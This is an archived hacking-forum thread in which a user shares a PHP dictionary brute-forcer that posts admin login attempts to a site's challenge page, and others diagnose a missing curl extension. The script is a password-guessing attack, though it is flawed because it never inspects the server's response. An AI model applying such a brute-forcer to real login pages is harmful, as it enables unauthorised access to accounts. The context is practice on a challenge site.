Join us at IRC!
Capitalism is an Island of wealth in a sea of poverty
Thursday, May 24, 2012
Navigation
Members Online
Total Online: 35
Web Spiders: 15
Guests Online: 31
Members Online: 4

Registered Members: 70180
Newest Member: RAWRFEARME744798
Latest Articles
View Thread

HellBound Hackers | Computer General | Programming

Author

For those who know php

bl4ckc4t
Member

Posts: 591
Location: /etc/
Joined: 07.03.06
Rank:
HBH Guru
Posted on 11-05-06 00:28
Ok, I have a nice lil bruteforcer in php, but im getting an error -
Fatal error: Call to undefined function curl_init() in /hd2/djcsites/i love hbh. keep up the good work!.com/thethreecats/bruteforcer.php on line 6


What can I do to fix it?
and yes, I did look at other people's codes and got the ideas from other people's source.
here is my code:


<html>
<body>
<?php
$fh = fopen("dic.txt", "r");
while(!feof($fh)) {
$curl = curl_init();
$pass = fgets($fh,1024);
$data = fread($fh, filesize('dic.txt'));

curl_setopt($curl,

CURLOPT_URL,"http://hellboundhackers.org/challenges/real8/admin.php");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,

"Uname=admin&Pword=$pass&Submit=True");

curl_exec ($curl);
curl_close ($curl);


$result = eregi("Incorrect", $data);
if ( $result == 0 ) {
echo "$pass is the password!";
break;
fclose($fh);
}
}

?>

<p /> Again!
</body>
</html>



Author

RE: For those who know php

dj-bri-t
Member



Posts: 18
Location: The 'Peg, Manitoba, Canada
Joined: 11.07.05
Rank:
Wiseman
Posted on 11-05-06 02:45
Well, the error you're getting is that PHP doesn't recognize the function on line 6, curl_init(). The only reason I can think of that occuring is if you're running a version of PHP before 4.0.3, since that's when the function came about. But that's really old...are you running on a commercial server or off of a private home one?



dj.bri.t@gmail.com http://www.how2hack-security.net
Author

RE: For those who know php

AldarHawk
The Manager



Posts: 1662
Location: Canada
Joined: 26.01.06
Rank:
God
Posted on 11-05-06 02:49
the server you are running that off of does not have curl installed on it. easy as that.


I(don't)See Just ask Yahoo!Taboo! http://www.erikwestlake.com
Author

RE: For those who know php

dj-bri-t
Member



Posts: 18
Location: The 'Peg, Manitoba, Canada
Joined: 11.07.05
Rank:
Wiseman
Posted on 11-05-06 04:25
AldarHawk wrote:
the server you are running that off of does not have curl installed on it. easy as that.


*smacks forehead* yeah, I guess that makes sense :p...I've never dealt with a server that didn't have CURL on it, so I never realized that it wasn't built in. Just goes to show how much I know... :p

From PHP.NET...
Requirements

In order to use PHP's CURL functions you need to install the libcurl package. PHP requires that you use libcurl 7.0.2-beta or higher. In PHP 4.2.3, you will need libcurl version 7.9.0 or higher. From PHP 4.3.0, you will need a libcurl version that's 7.9.8 or higher. PHP 5.0.0 requires a libcurl version 7.10.5 or greater.




dj.bri.t@gmail.com http://www.how2hack-security.net
Author

RE: For those who know php

thousandtoone
Member

Posts: 274
Location: chown thousandtoone /
Joined: 16.04.05
Rank:
Monster
Posted on 11-05-06 05:44
If you need hosting with any specific PHP modules, drop me a PM. We can discuss rates to fit.


rootbound admin.
Author

RE: For those who know php

bl4ckc4t
Member

Posts: 591
Location: /etc/
Joined: 07.03.06
Rank:
HBH Guru
Posted on 11-05-06 06:30
AldarHawk wrote:
the server you are running that off of does not have curl installed on it. easy as that.


Logical.
I may just host my own, Currently I have a i love hbh. keep up the good work! site for all my scblockedripts and stuff I use.


Author

RE: For those who know php

willeH
Banned

Posts: 210
Location:
Joined: 14.10.05
Rank:
HBH Guru
Posted on 11-05-06 17:06
Download EasyPHP.


Guest
Username

Password

Remember Me


Bookmark This Page
Affiliates
Adverts

 

 

Links
By using, viewing or obtaining any information contained on this site, you agree to the disclaimer.

© HellBound Hackers 2008- 2009. Since 3rd December 2004.